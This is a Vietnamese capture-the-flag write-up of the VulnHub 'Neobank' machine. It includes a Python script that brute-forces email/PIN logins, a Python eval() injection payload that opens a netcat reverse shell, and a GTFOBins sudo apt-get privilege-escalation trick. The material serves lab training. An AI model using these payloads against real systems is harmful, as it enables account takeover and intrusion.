Mô tả:
Created and tested on Virtual Box
Hints : ^[0-9]
Contact : alienum#1033 (discord) or @AL1ENUM (twitter)
Download:
- Neobank.ova (Size: 781 MB)
- Download (Mirror): https://download.vulnhub.com/neobank/Neobank.ova
- Download (Torrent): https://download.vulnhub.com/neobank/Neobank.ova.torrent
Khai thác:
Bước 1: Thu thập dữ liệu thông tin
Sử dụng arp-scan và nmap để dò quét thông tin đối tượng tấn công

Thu được ip là 192.168.93.138 là ip victim, port mở ở đây là 5000 chạy dịch vụ web
Mình cho vào website thấy đây là web login

Nhìn không có gì đặc biệt cả kể cả kiểm tra mã nguồn, mình tiến hành dò quét đường dẫn khác sử dụng dirsearch

Thu được đường dẫn khác /pr, /opt, /withdraw mình truy cập thử thì ra trang trắng không có gì cả bởi vì nó chả gì đặc biệt trừ khi mình phải đăng nhập thành công.
Mình thử gửi một số yêu cầu đăng nhập và kiểm tra bằng công cụ phát triển của trình duyệt thấy được cấu trúc dữ liệu khi được gửi lên hệ thống để đăng nhập

Dạng truyền POST: email=…&pin=….
Với thông tin này mình tìm chính xác thông tin bao gồm email và mã pin để đăng nhập. Mình dựa vào gợi ý của đầu bài là
Hints : ^[0-9]
Mình tiến hành lọc số trong tệp tin rockyout.txt lưu thành một tệp là pins.txt

Tiếp đó mình sẽ thử tìm đường dẫn url liên quan email dạng JSON, mình lọc từ tệp directory-list-2-3-big.txt

Thực hiện dò quét phát hiện điền dẫn /email_list

Mình truy cập thấy rất nhiều email, mình liền copy về một tệp có tên làm email.txt


Như vậy đã đủ thông tin để brute force mình sang bước 2 để viết code tấn công.
Bước 2: Viêt code khai thác
Mình dựa vào cách viết gửi request POST trong python 3 để viết
Sử dụng thêm việc trả trạng thái status trong hàm request
import requests
import sys
url = 'http://192.168.93.138:5000/login'
with open('email.txt') as mail:
for e in mail:
with open('pins.txt') as pins:
for p in pins:
user = {"email":e.strip(),"pin":p.strip()}
x = requests.post(url, data = user)
print(x.status_code)
if len(x.cookies) == 1:
print("Email : " + e.strip())
print("Pins : " + p.strip())
sys.exit()Tiến hành chạy code thu được thông tin đăng nhập

Mình tiến hành đăng nhập đến trang nhập otp, mình sửa đường dẫn thành /pr để lấy mã QR quét lấy mã OTP

Thật không may là mình dùng phần mềm decode OTP online không ăn thua, và có một gửi ý dùng app google auth quét là ra

Mình đăng nhập vào được trang sau

Mình chuyển bước tiếp theo khai thác thiết lập kết nối
Bước 3: Khai thác thiết lập kết nối
Mình thử nhập số tiền rút thử
Nếu nhiều hơn số tiền hiện có thì ví tăng tiền


Nếu ít hơn số tiền mình rút thì ví bị âm

Mình xác định được phần input này có lỗi có thể khai thác, mình tìm mã khai thác reveshell bằng python thử nghiệm
Vipul Chaskar’s Blog: Exploiting eval() function in Python
__import__(‘os’).system(‘nc your_ip port -e /bin/sh’)

Đồng thời trên máy kali mình mở cổng lắng nghe kết nối

Kiểm tra thư mục web có thư mục ẩn …/
Mình truy cập vào thư mục đó thấy tệp python là newUser.py mình mở ra thấy thông tin database

Mình dùng thông tin này login database của hệ thống lấy được thông tin user

Dùng nó để đăng nhập và đoc cờ đầu thôi nào

Bước 4: Leo thăng
Thử dùng lệnh sudo -l

Phát hiện apt-get dùng không cần pass mình lên GTFObins để tìm mã khai thác:
sudo apt-get changelog apt
!/bin/shMình tiến hành thực hiện mã này và thu được

Thành công leo thăng mình sẽ tiến hành đọc cờ cuối thôi



0 Comments